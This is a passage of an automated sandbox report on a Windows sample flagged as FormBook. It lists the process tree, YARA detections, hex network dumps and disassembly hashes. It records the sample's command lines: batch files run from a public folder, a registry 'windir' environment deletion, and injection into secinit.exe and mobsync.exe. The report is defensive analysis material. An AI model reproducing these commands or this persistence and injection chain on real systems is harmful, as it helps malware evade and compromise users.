6d 4c 74 66 bb 42 14 c9 8a 11 e5 6c 8c 66 87 2b b7 8b 51 33 c4 da 59 3a 25 Data Ascii: ^n'n2{>2.hN~<:s%Y9hr6qn>7R}pSHEu#Ll@;H)hBF+&zbF.Rem%S"A.q\F51bF`'91DV\|7Al`%~cF;!a[$vK6mLtfBlf+Q3Y:%
2021-09-27 18:33:32 UTC	1702	IN	Data Raw: c0 92 e3 90 10 67 39 26 a2 88 86 7a 9f 1f 15 a0 cd cc 4f f9 28 ce 72 53 0d 65 38 ce 5c a3 88 9a 3c 6b cc b1 10 12 b6 84 86 ce 4a 89 c8 5f af 63 f3 bd 0c e2 f4 0d 8d 99 b5 b9 02 70 1a 37 35 3b d4 1b 03 c1 16 fa 0e c8 4f 03 4d 47 f0 bd c5 2c d0 44 21 95 29 25 c9 7f 24 e3 98 c5 c3 de 5a 62 f4 9b 4c 09 13 23 66 44 99 b1 2b 2c 2f b6 7b 4a cf 67 d1 b7 ab 21 1e ce e8 11 e5 37 94 76 1e f2 f2 fb 27 ac 87 cf 0c 0a 98 b8 68 85 84 01 08 6e c1 16 71 a9 99 3e 5e 79 2c d0 61 1c 0b 8b 4a 4b 73 5f 55 12 f1 89 70 28 a7 3b ad e6 ef 84 fc df df 1d 82 8a 11 b0 51 8b 9b ce 6b 7b 56 94 29 a8 58 22 3f 36 47 f0 07 57 ac 4c 09 5b 18 7f 87 cf bc bd 78 e6 00 b8 00 1c 7c 10 a1 36 b7 bb f8 f5 d6 40 5e 17 7f 9c fd 95 a8 28 a6 6d cc 40 1a 8f 95 de fb 99 35 35 80 72 c8 d3 41 0d 18 7f 97 Data Ascii: g9&zO(rSe8\<kJ_cp75;OMG,D!)%$ZbL#fD+,/{Jg!7v'hnq>^y,aJKs_Up(;Qk{V)X"?6GWL[x\|6@^(m@55rA

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: fTset285bI.exe PID: 6356 Parent PID: 5452

General

Start time:	20:32:48
Start date:	27/09/2021
Path:	C:\Users\user\Desktop\fTset285bI.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\fTset285bI.exe'
Imagebase:	0x400000
File size:	1009152 bytes
MD5 hash:	1FB012F2414DA5A3515F704E855AB770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low

Chronological Activities

Analysis Process: secinit.exe PID: 6840 Parent PID: 6356

General

Start time:	20:33:10
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\secinit.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\secinit.exe
Imagebase:	0xb00000
File size:	9728 bytes
MD5 hash:	174A363BB5A2D88B224546C15DD10906
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.401918878.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.400917340.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000000.396428901.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 6820 Parent PID: 6356

General

Start time:	20:33:11
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\Users\Public\Trast.bat' '
Imagebase:	0x2a0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6920 Parent PID: 6820

General

Start time:	20:33:11
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5312 Parent PID: 6820

General

Start time:	20:33:11
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
Imagebase:	0x2a0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6692 Parent PID: 5312

General

Start time:	20:33:12
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6436 Parent PID: 6356

General

Start time:	20:33:13
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ''C:\Users\Public\nest.bat' '
Imagebase:	0x2a0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6596 Parent PID: 6436

General

Start time:	20:33:13
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 3532 Parent PID: 6840

General

Start time:	20:33:13
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6840 -s 240
Imagebase:	0xcc0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: reg.exe PID: 5836 Parent PID: 6436

General

Start time:	20:33:13
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg delete hkcu\Environment /v windir /f
Imagebase:	0xe80000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5784 Parent PID: 5836

General

Start time:	20:33:14
Start date:	27/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: Qybpdxz.exe PID: 7140 Parent PID: 3440

General

Start time:	20:33:20
Start date:	27/09/2021
Path:	C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe'
Imagebase:	0x400000
File size:	1009152 bytes
MD5 hash:	1FB012F2414DA5A3515F704E855AB770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 29%, Virustotal, Browse Detection: 27%, ReversingLabs

Chronological Activities

Analysis Process: Qybpdxz.exe PID: 5944 Parent PID: 3440

General

Start time:	20:33:29
Start date:	27/09/2021
Path:	C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe'
Imagebase:	0x400000
File size:	1009152 bytes
MD5 hash:	1FB012F2414DA5A3515F704E855AB770
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi

Chronological Activities

Analysis Process: mobsync.exe PID: 1312 Parent PID: 7140

General

Start time:	20:33:48
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\mobsync.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\mobsync.exe
Imagebase:	0xd80000
File size:	93184 bytes
MD5 hash:	44C19378FA529DD88674BAF647EBDC3C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000000.483776660.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000000.482020111.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000000.478412279.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group

Chronological Activities

Analysis Process: WerFault.exe PID: 5584 Parent PID: 1312

General

Start time:	20:33:52
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1312 -s 484
Imagebase:	0xcc0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: secinit.exe PID: 4788 Parent PID: 5944

General

Start time:	20:33:57
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\secinit.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\secinit.exe
Imagebase:	0xb00000
File size:	9728 bytes
MD5 hash:	174A363BB5A2D88B224546C15DD10906
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000020.00000000.499908275.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000020.00000000.496967732.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000020.00000000.501814123.0000000050481000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group

Chronological Activities

Analysis Process: WerFault.exe PID: 7036 Parent PID: 4788

General

Start time:	20:34:02
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4788 -s 236
Imagebase:	0xcc0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: secinit.exe PID: 6840 Parent PID: 6356 secinit.exeCOMMON

Executed Functions

Function 50488AA0, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8487691a4bcaf40d56d068c9dd32776c2d1a4057530f0ec82588bf8c5a9fc800
Instruction ID: 5800d41af399f09256f2d1c7c4852d5c8b955f2c31f544c55dfe44148046dfa3
Opcode Fuzzy Hash: 8487691a4bcaf40d56d068c9dd32776c2d1a4057530f0ec82588bf8c5a9fc800
Instruction Fuzzy Hash: 4C01DB71403B1126C7116BF86C4268F7BCC9F22158F044F2FF455A2681E66CF60487EA

Uniqueness

Uniqueness Score: -1.00%

Function 50499BC0, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7793ebe11ab65c388fbcd72951bd83ae708993586c49c117fa4587c3df3ae89d
Instruction ID: abe917d3349d54a8a62b3270aa6a0ec69261788e40e1f702053093d9a5f62117
Opcode Fuzzy Hash: 7793ebe11ab65c388fbcd72951bd83ae708993586c49c117fa4587c3df3ae89d
Instruction Fuzzy Hash: 07F068B290130856FB24DBB49D4BF9973785F14708F400FEDBA0CA6181FE79AA558AE1

Uniqueness

Uniqueness Score: -1.00%

Function 50496E20, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dbb2e6a218dd5e6871012264961e21634340eebca20321b0e777679f0768291
Instruction ID: 9eb043d311a8e83772d388a163baeebdbd57ca23918bf482a7a647414f06662a
Opcode Fuzzy Hash: 3dbb2e6a218dd5e6871012264961e21634340eebca20321b0e777679f0768291
Instruction Fuzzy Hash: 7BF08C71A4231036D620A7F98C07F8B7A9CCF96F19F000A3FFA49E7180C9B8B40042E9

Uniqueness

Uniqueness Score: -1.00%

Function 50488B50, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4e47561c24f3000999b30e70211801994e8036f11c3f522a1e3cde1310c6b66
Instruction ID: e570e9019714ae83fc3da8825ec3d2904643af3f52f20ee51fe2e270e5bef4fd
Opcode Fuzzy Hash: e4e47561c24f3000999b30e70211801994e8036f11c3f522a1e3cde1310c6b66
Instruction Fuzzy Hash: E0D0A7B7C0212822DC0025C43C42DCA330C4E6256CF00056BFB0E17642D65E769202EE

Uniqueness

Uniqueness Score: -1.00%

Function 50488B42, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d5cf84e189200712ec54a15c0998aae716513eeac8ceae25e708bc148b9ec26
Instruction ID: 58a0e49b7dd3ee3965ce0a050eb9957f1b08e6229e10f77e9d686795e6dcb98a
Opcode Fuzzy Hash: 4d5cf84e189200712ec54a15c0998aae716513eeac8ceae25e708bc148b9ec26
Instruction Fuzzy Hash: FDD022A7C0A1A8739C002DC86C02AC2378C8E431B8F50039AFE5A43283AB02E84282D6

Uniqueness

Uniqueness Score: -1.00%

Function 02E30000, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434238502.0000000002E30000.00000040.00000001.sdmp, Offset: 02E30000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8f87fc558e2f538fd351bdfc49e2c6aa18e45c6a6d2c8ec1415aa36aaa266a9
Instruction ID: 18b5e61e04c7bcae5a7a9f8a09946595db22e2a0f492063f86ebefdf2a899b08
Opcode Fuzzy Hash: a8f87fc558e2f538fd351bdfc49e2c6aa18e45c6a6d2c8ec1415aa36aaa266a9
Instruction Fuzzy Hash: 33D01275914208EFDB04CF54D84589EBBF5EB44320F20C165E914973A0E731AE509A44

Uniqueness

Uniqueness Score: -1.00%

Function 504889D0, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13e8ec73e4bb8342fbb4d26883448c621c9b31b93c0ddd164dd886068529ed33
Instruction ID: 9f04e3af870ad7f2512dbe3cdd4fdd77306f908db9c2f21e77fdd35b86dd4207
Opcode Fuzzy Hash: 13e8ec73e4bb8342fbb4d26883448c621c9b31b93c0ddd164dd886068529ed33
Instruction Fuzzy Hash: 56B09B7594134833CD1065E86C57D5F374C4754908F000E25B90C57141D5B9F55041D5

Uniqueness

Uniqueness Score: -1.00%

Function 5049D420, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d62313a17ebebcfcfc90a0fd0273dd5027241c25d173eb16611f0ac046b17f3
Instruction ID: 60efb9a304c862cf1b2cb41a0d6ca05a3f718936f2179e03e79723808d726d51
Opcode Fuzzy Hash: 2d62313a17ebebcfcfc90a0fd0273dd5027241c25d173eb16611f0ac046b17f3
Instruction Fuzzy Hash: 2EA02200C0A30C03082030FC3A0302BBB0C8020008F000BFAAC0C022003C8ABC3000E3

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 50488C6B, Relevance: 1.7, Strings: 1, Instructions: 424COMMON

Download Yara Rule

Strings

(, xrefs: 50488F8C

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 3b191a64b1b3684b0f19454137cac2136396a9de23f2324a4ab1b26f72f1a3ae
Instruction ID: baac54e32283b563329bc8636a322a9623c4075fa8517ca737f30f2f9188cf84
Opcode Fuzzy Hash: 3b191a64b1b3684b0f19454137cac2136396a9de23f2324a4ab1b26f72f1a3ae
Instruction Fuzzy Hash: 25022DB6E006199FDB14CF9AC8805DDFBF2FF88314F1AC1AAD859A7315D6746A418F80

Uniqueness

Uniqueness Score: -1.00%

Function 50488C70, Relevance: 1.7, Strings: 1, Instructions: 423COMMON

Download Yara Rule

Strings

(, xrefs: 50488F8C

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 5b5895f0e51fce406fdbb92f5fe0f57fd39733701dba8a51bdd5afbf1107f5ef
Instruction ID: 3484bee634b840c1bab5662a6323aee3b9f0a5273f3bab5a42214582dca63907
Opcode Fuzzy Hash: 5b5895f0e51fce406fdbb92f5fe0f57fd39733701dba8a51bdd5afbf1107f5ef
Instruction Fuzzy Hash: 31022DB6E006189FDB14CF9AC8805DDFBF2FF88314F1AC1AAD859A7315D6746A418F80

Uniqueness

Uniqueness Score: -1.00%

Function 50481209, Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

%JrU, xrefs: 5048120C

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: %JrU
API String ID: 0-3450680841
Opcode ID: c162ffde069db3320ebceedf324c7fc676f27ff83bc60396bb4a543c4907d82c
Instruction ID: 66bc1d951bfc8faa6ae7d90589c859a9cd4bc7b340ee9477726b93f65edc0fda
Opcode Fuzzy Hash: c162ffde069db3320ebceedf324c7fc676f27ff83bc60396bb4a543c4907d82c
Instruction Fuzzy Hash: E6418371A0060A9BCB08CFA8D88199EFBB5FF98314F14C76AD91AA7750D734A951CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 5049C086, Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a527ef29cd0fe9830bf610f96ec6370c85a7116d12d4a6a91f4ac8df116e5d8
Instruction ID: 54ca38e4d81a87d9e9ddff7a5c2c536c5f201505242f61776968300dd9a49cc0
Opcode Fuzzy Hash: 7a527ef29cd0fe9830bf610f96ec6370c85a7116d12d4a6a91f4ac8df116e5d8
Instruction Fuzzy Hash: 3732A772908785CFE702DF38CA9AB823FB5FB46360B48464EC9A1975D6D7382116CF80

Uniqueness

Uniqueness Score: -1.00%

Function 50482FB0, Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 937a55679482902739b3c28cbd4d4033f685ec815d12dd2f022c6521ee9f93e4
Instruction ID: 21044312e6f7938f1bd69178062c6b1606d7af82ded0e0823394ff0b21e5147e
Opcode Fuzzy Hash: 937a55679482902739b3c28cbd4d4033f685ec815d12dd2f022c6521ee9f93e4
Instruction Fuzzy Hash: 8C026F73E547164FE720DE4ACDC4765B3A3EFC8301F5B81B8CA142B613CA39BA525A90

Uniqueness

Uniqueness Score: -1.00%

Function 5049BB80, Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ef381e62e50b29855310488eb9efc13bb3ec62c88ec6645ed2aed461045f716
Instruction ID: 87e08308f8db3a5159def30c4e291ca1ad74cea13a065c851d9ddacec31b5d04
Opcode Fuzzy Hash: 2ef381e62e50b29855310488eb9efc13bb3ec62c88ec6645ed2aed461045f716
Instruction Fuzzy Hash: 4CC11E32918792CFE716DF38CA8AA413FB1FB56760B08475EC9A1971D6D738251ACF80

Uniqueness

Uniqueness Score: -1.00%

Function 5049C988, Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5f418d448bee2de0ee7a42e95851217cbcdb9f74b36a4ca39bfaa41c071bb52
Instruction ID: 7f00dfe2137ed170224ca19793559dc8aa6bad07df7ff0fa74f3cedf2c03adc3
Opcode Fuzzy Hash: b5f418d448bee2de0ee7a42e95851217cbcdb9f74b36a4ca39bfaa41c071bb52
Instruction Fuzzy Hash: F08112728493C4DFE705DF78E8966853F71F78A720308078DD9A2871E2D37515AACB45

Uniqueness

Uniqueness Score: -1.00%

Function 50482D90, Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baad548f5feed02f012b2fc10accbe050e72558d66b692510d210734a80849a9
Instruction ID: 1df069663d0ed569fb42e50b7ec8a1a31ad07fb34483172e6aa5716dc80a19e4
Opcode Fuzzy Hash: baad548f5feed02f012b2fc10accbe050e72558d66b692510d210734a80849a9
Instruction Fuzzy Hash: B55170B3E14A214BD3188E09CD40631B792FFC8312B5B85BEDD1A9B357CE74E9529A90

Uniqueness

Uniqueness Score: -1.00%

Function 50482D87, Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dac3be46e82688ae7dfc3919e56ca139e2b843efc9455a5e7170fe6742f655e0
Instruction ID: 7a36e090b36d1cef820d54274e027c3e1a5d77fc5d325121f574c620f8fb6f0c
Opcode Fuzzy Hash: dac3be46e82688ae7dfc3919e56ca139e2b843efc9455a5e7170fe6742f655e0
Instruction Fuzzy Hash: 2F5193B3E14A214BD3188F05CD40631BA92EFC8312B5F85BEDD1A9B357CE74A9529A90

Uniqueness

Uniqueness Score: -1.00%

Function 5048A000, Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.434632754.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d2898f95d75a15247bcff8035d770a688ed94abc9227a7c1bed039b2aa90a1e
Instruction ID: 1fe96f54f93afc543a3413abaa273e2842d077a01104f2a6622650ced887cb25
Opcode Fuzzy Hash: 9d2898f95d75a15247bcff8035d770a688ed94abc9227a7c1bed039b2aa90a1e
Instruction Fuzzy Hash: 3F31A6B2905219A6DF10DFA4CC86EDFB3B8EF58204F004A6EFA1D97140E7759A54CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 50481030, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

